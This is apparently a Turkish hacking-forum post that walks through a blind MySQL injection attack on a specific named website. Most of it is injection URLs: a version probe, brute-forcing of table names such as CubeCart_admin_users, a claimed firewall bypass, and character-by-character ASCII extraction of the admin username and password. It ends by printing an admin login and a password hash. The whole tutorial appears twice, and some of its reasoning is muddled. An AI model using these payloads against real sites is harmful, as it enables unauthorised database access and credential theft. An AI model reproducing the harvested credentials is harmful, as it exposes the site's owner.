Risk-Master
Spys-Z
- Katılım
- 5 Ocak 2014
- Mesajlar
- 439
- Tepkime puanı
- 0
- Puanları
- 16
Blind MYSQL İnjection
Versiyon sürümünü sorgulayalım.
http://www.postrapid.com/index.php?id=5 and substring (@@version, 1,1) = 4- –
Yazdık sayfa true (doğru) yansıdı. Yani sayfa hatasız ve düzenli bir şekilde karşımıza döndü ve
Versiyon sürümü: 2.1…1 gibi rakamlar ekrana yansıdı.
O zaman versiyon sürümü 5... ile başlamadığı için sitenin versiyon sürümü: MySQL 4 olduğunu anlıyoruz
Rakam 5 ile başlasaydı yani MYSQL Versiyonu 5 olsaydı çok iyi olurdu. Çünkü MySQL 5'te information_schema vardır ve tablo adlarını tahmin etmeden kolaylıkla çekebilirdik. 5'ten küçük sayı başladığı için manuel (el) ile tek tek deneyeceğiz. Yani Deneme/Yanılma Yöntemini kullanacağız. Bu da zaman kaybı ve biraz da tahminlerinizin tutması gerek.
Peki diyelim ki: http://www.postrapid.com/index.php?id=5 and substring (@@version, 1,1) = 4- –
Diyelim ki 4 yerine 5 yazsaydık ne olurdu?
Versiyon 5 olmadığı için 404.php hatası verecekti.
Örneğin: Site yöneticisi table (tablo)'nun adını riskmaster koydu. Şimdi biz bunu nereden tahmin edeceğiz?
Tahmin etmemiz oldukça zor. Neyse devam edelim.
Şimdi select (seçme) komutunu kabul edip etmediğine bakalım.
http://www.postrapid.com/index.php?id=5 and (select 1)=1– –
Sayfa yine true (doğru) yani hatasız ve düzenli bir şekilde karşımıza döndü.
Peki o zaman sorun yok devam edelim.
Not: Buradaki komutu kullanmamızın sebebi; Blind SQL olup olmadığını öğrenmek içindir.
sub select tablo_ismi
Bruteforce (tahmin) yani genel de olabilecek tablo isimlerini deneyelim.
Örneğin; "admin" yazalım.
http://www.postrapid.com/index.php?id=5 and (select 1 from admin)=1– –
Eğer "admin" adında tablo yoksa hata verecektir. Eğer ki var ise sayfa normal olarak yüklenecektir.
Diyelim ki sayfa olduğu gibi tekrardan gelir ise bu "admin" adında bir tablo bulunduğuna işarettir.
Şimdi mesela biz brute force (kaba kuvvet saldırısı) yani Deneme/Yanılma Yöntemi ile tabloyu "admin" olarak tahmin ederek bulduk.
http://www.postrapid.com/index.php?id=5 and (select 1 from CubeCart_admin_users)=1– –
Yaptığımızda CubeCart_admin_users isimli bir sütun olduğundan dolayı problemsiz olarak sayfa true (doğru) olarak dönecektir.
Diyelim ki hata verdi.
Peki o zaman ne yapacağız?
Biz bunu Güvenlik Duvarını (Firewall)'i bypass yöntemini kullanarak aşabiliriz. ”limit” komutunu kullanarak aşalım.
http://www.postrapid.com/index.php?id=5 and (select 1 from CubeCart_admin_users limit 0,1)=1– –
Bu şekilde yazdık hata verdi.
Şimdi ise bir de - limit 1,1)=1– - komutuyla deneyelim.
http://www.postrapid.com/index.php?id=5 and (select substring(concat(1,username),1,1) from CubeCart_admin_users limit 1,1)=1– –
Yazdık sayfa düzeldi.
Şimdi CubeCart_admin_users tablosuna ait sütunları (kolon)ları test edelim;
http://www.postrapid.com/index.php?id=5 and (select substring(concat(1,username),1,1) from CubeCart_admin_users limit 1,1)=1– –
Yazdık sayfa true (doğru) olarak döndü. Diğer column (kolon)'u da "password" olarak buldum.
Peki o zaman devam edelim.
“username” ve “password” u birleştirip 1.harf 2.harf 3.harf… diye giderek verileri çekmeye başlayalım.
Verileri birleştirme ve harf1’den başlama;
Burada ASCII işlevini kullanacağız ve parametreye ASCII değerlerini vereceğiz.
Peki burada hangi ASCII fonksiyonunu kullanacağız?
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),1,1))>1– –
Komutumuz bu burada tablo ve column (kolon) bilgilerini yazacağız.
Bu >1 kısmı ne diye soracak olursanız?
ASCII karakterleridir, harflerin sayı karşılığıdır.
Burada ASCII tablosu için bağlantı: http://www.asciitable.com/
Örneğin;
a = 97
ve benzeri
A = 65
bu tablodan görebilirsiniz
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),1,1))=112– –
Yazdık hata vermedi, bizim asıl amacımız hata verdirmektir.
Şimdi bir sonraki değeri deneyelim.
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),2,1))=111– –
Hata vermedi devam edelim.
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),10,1))>96– –
Yine hata yok.
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select password from CubeCart_admin_users limit 0,1),21,1))>52– –
Yazdık sayfa hata verdi ve karşımızda kullanıcı adı ve hash’ı
Kullanıcı adı: admin
Şifre: 9f66bf57850fbae64d515ffcb8ca6166
Versiyon sürümünü sorgulayalım.
http://www.postrapid.com/index.php?id=5 and substring (@@version, 1,1) = 4- –
Yazdık sayfa true (doğru) yansıdı. Yani sayfa hatasız ve düzenli bir şekilde karşımıza döndü ve
Versiyon sürümü: 2.1…1 gibi rakamlar ekrana yansıdı.
O zaman versiyon sürümü 5... ile başlamadığı için sitenin versiyon sürümü: MySQL 4 olduğunu anlıyoruz
Rakam 5 ile başlasaydı yani MYSQL Versiyonu 5 olsaydı çok iyi olurdu. Çünkü MySQL 5'te information_schema vardır ve tablo adlarını tahmin etmeden kolaylıkla çekebilirdik. 5'ten küçük sayı başladığı için manuel (el) ile tek tek deneyeceğiz. Yani Deneme/Yanılma Yöntemini kullanacağız. Bu da zaman kaybı ve biraz da tahminlerinizin tutması gerek.
Peki diyelim ki: http://www.postrapid.com/index.php?id=5 and substring (@@version, 1,1) = 4- –
Diyelim ki 4 yerine 5 yazsaydık ne olurdu?
Versiyon 5 olmadığı için 404.php hatası verecekti.
Örneğin: Site yöneticisi table (tablo)'nun adını riskmaster koydu. Şimdi biz bunu nereden tahmin edeceğiz?
Tahmin etmemiz oldukça zor. Neyse devam edelim.
Şimdi select (seçme) komutunu kabul edip etmediğine bakalım.
http://www.postrapid.com/index.php?id=5 and (select 1)=1– –
Sayfa yine true (doğru) yani hatasız ve düzenli bir şekilde karşımıza döndü.
Peki o zaman sorun yok devam edelim.
Not: Buradaki komutu kullanmamızın sebebi; Blind SQL olup olmadığını öğrenmek içindir.
sub select tablo_ismi
Bruteforce (tahmin) yani genel de olabilecek tablo isimlerini deneyelim.
Örneğin; "admin" yazalım.
http://www.postrapid.com/index.php?id=5 and (select 1 from admin)=1– –
Eğer "admin" adında tablo yoksa hata verecektir. Eğer ki var ise sayfa normal olarak yüklenecektir.
Diyelim ki sayfa olduğu gibi tekrardan gelir ise bu "admin" adında bir tablo bulunduğuna işarettir.
Şimdi mesela biz brute force (kaba kuvvet saldırısı) yani Deneme/Yanılma Yöntemi ile tabloyu "admin" olarak tahmin ederek bulduk.
http://www.postrapid.com/index.php?id=5 and (select 1 from CubeCart_admin_users)=1– –
Yaptığımızda CubeCart_admin_users isimli bir sütun olduğundan dolayı problemsiz olarak sayfa true (doğru) olarak dönecektir.
Diyelim ki hata verdi.
Peki o zaman ne yapacağız?
Biz bunu Güvenlik Duvarını (Firewall)'i bypass yöntemini kullanarak aşabiliriz. ”limit” komutunu kullanarak aşalım.
http://www.postrapid.com/index.php?id=5 and (select 1 from CubeCart_admin_users limit 0,1)=1– –
Bu şekilde yazdık hata verdi.
Şimdi ise bir de - limit 1,1)=1– - komutuyla deneyelim.
http://www.postrapid.com/index.php?id=5 and (select substring(concat(1,username),1,1) from CubeCart_admin_users limit 1,1)=1– –
Yazdık sayfa düzeldi.
Şimdi CubeCart_admin_users tablosuna ait sütunları (kolon)ları test edelim;
http://www.postrapid.com/index.php?id=5 and (select substring(concat(1,username),1,1) from CubeCart_admin_users limit 1,1)=1– –
Yazdık sayfa true (doğru) olarak döndü. Diğer column (kolon)'u da "password" olarak buldum.
Peki o zaman devam edelim.
“username” ve “password” u birleştirip 1.harf 2.harf 3.harf… diye giderek verileri çekmeye başlayalım.
Verileri birleştirme ve harf1’den başlama;
Burada ASCII işlevini kullanacağız ve parametreye ASCII değerlerini vereceğiz.
Peki burada hangi ASCII fonksiyonunu kullanacağız?
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),1,1))>1– –
Komutumuz bu burada tablo ve column (kolon) bilgilerini yazacağız.
Bu >1 kısmı ne diye soracak olursanız?
ASCII karakterleridir, harflerin sayı karşılığıdır.
Burada ASCII tablosu için bağlantı: http://www.asciitable.com/
Örneğin;
a = 97
ve benzeri
A = 65
bu tablodan görebilirsiniz
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),1,1))=112– –
Yazdık hata vermedi, bizim asıl amacımız hata verdirmektir.
Şimdi bir sonraki değeri deneyelim.
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),2,1))=111– –
Hata vermedi devam edelim.
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),10,1))>96– –
Yine hata yok.
http://www.postrapid.com/index.php?id=5 and ASCII(SUBSTRING((select password from CubeCart_admin_users limit 0,1),21,1))>52– –
Yazdık sayfa hata verdi ve karşımızda kullanıcı adı ve hash’ı
Kullanıcı adı: admin
Şifre: 9f66bf57850fbae64d515ffcb8ca6166